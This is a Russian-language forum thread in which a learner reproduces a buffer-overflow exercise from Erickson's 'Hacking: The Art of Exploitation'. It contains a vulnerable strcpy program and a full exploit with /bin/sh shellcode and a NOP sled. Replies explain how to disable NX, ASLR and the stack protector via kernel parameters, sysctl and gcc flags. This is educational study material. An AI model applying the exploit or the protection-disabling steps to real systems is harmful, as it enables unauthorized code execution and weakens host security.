Здаравсвуйте. Сейчас я изучаю технику переполнения буффера. Начал с Linux. Дист. Fedora 14. Читаю книгу Джона Эрикстона. Хакинг. Исскуство эксплоита. Делаю всё как написано. Пример уязвимой программы. Код (Text): int main(int argc, char *argv[]) { char buffer[500]; strcpy(buffer, argv[1]); return 0; } А вот сам эксплоит Код (Text): #include <stdlib.h> char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp() { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; //Zadat' smeshenie 0 esp = sp(); // Pomestit' tekushiy ukazatel' steka v esp ret = esp - offset; // Mu hotim perepisat' adrres vosvrata printf("Stack pointer (ESP) : 0x%x\n", esp); printf("Offset from ESP : 0x%x\n", offset); printf("Desired Return Addr : 0x%x\n", ret); // Vudelit dla buffera 600 baytov (v kuche) buffer = malloc(600); // Zapolnit ves' massiv nuzhnum addresom vozvrata ptr = buffer; addr_ptr = (long *) ptr; for(i = 0; i < 600; i+=4) { *(addr_ptr++) = ret; } // Zapolnit' pervue 200 bayt buffera komandami NOP for(i = 0; i < 200; i++) { buffer[i] = '\x90'; } // pomestit' shellcode posle cepochki NOP ptr = buffer + 200; for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } // Zavershit' strochky buffer[600-1] = 0; // Teprer' vuzuvaem programmu vuln peredav v kachestve argumetna nash buffer execl("./vuln", "vuln", buffer, 0); free(buffer); return 0; } Я не понимаю, почему не работает. Делаю всё по книге. Помогите пожалуйсто, вы тут единственные кто может помочь. Пожалуйсто... В консоле выдает: Все исходники и откомпиленые исходники приложены.
DEP, скорее всего: на всех новых системах стек уже давно не исполняемый. Отключить поддержку NX-бита можно через параметр "noexec", который ядру при загрузке указывается.
Страница 37, посмотри пожалуйсто) Подскажите пожалуйсто, как придать этот параметр ядру. Помогите плиз, я Вас знаю, вы один из легендарных хакеров ( правдо под Windows)) )
Я чё смешного? ты не знаешь этого парня? п.с. я примеры откомпиленые приложил, и сорцы. Потесть плиз.
Запуск выдал это. Изменил код для проверки в exploit.. При переполнении в 4 байта..ошибок нет. Но при memset 610.. выдаёт это Пробуй делать переполнение не больше 4 байт.
Нужно отредактировать конфиг системного загрузчика. Что там у вас в федоре по умолчанию используется - я не в курсе, но GRUB обычно хранит настройки в /boot/grub/menu.lst Полное описание параметров ядра доступно в стандартной документации: http://www.kernel.org/doc/Documentation/kernel-parameters.txt
Собственно, вот и то, о чём я говорил - стек не исполняемый, так что топикстартеру, что бы получить исполнение шеллкода, нужно или noexec отключать, или атаки типа ret2libc осиливать (правда, сходу ret2libc может быть сложным для новичка, поэтому для начала таки лучше с классическим эксплойтингом переполнений разобраться).
не буду повторяться , но просто дополню современные никс дистры юзают не только DEP, но и кучу различных защит NX, ASLR, etc (; все приложения, как и сообственно ядро ОС, компилится с защитой стека от переполнения, если точнее то в gcc существует прямая привязка к либц, которая предотвращает переполнение. Чтобы отключить защиту стека при компиляции , достаточно добавить опцию к gcc: -fno-stack-protector RTFM
Снова добрый день, короче я разобрался с неисполняемым стеком. Нагуглил данный способ для этого Короче я на тот пример из книги призабил, нашёл другую статью http://www.securitylab.ru/contest/212095.php По ней получилось с горем пополам.
>>Снова добрый день, короче я разобрался с неисполняемым стеком. Нагуглил данный способ для этого >># sysctl -a | grep-E 'randomize|shield' >>Смотрим значения переменных: >>kernel.exec-shield = 1 >>kernel.exec-shield-randomize = 2 >>Если переменные не нулевые, добавляем, указанные ниже строки, в /etc/sysctl.conf: >>kernel.exec-shield = 0 >>kernel.exec-shield-randomize = 0 >>Перегружаемся или выполняем команду: >>/sbin/sysctl -p /etc/sysctl.conf - ну вот зачем, ЗАЧЕМ ты полез в ядро ?.... я же тебе скинул опцию для отключения dep в gcc.... вообще так глупо делать.... надеюсь ты не на рабочем серваке это отрабатываешь (%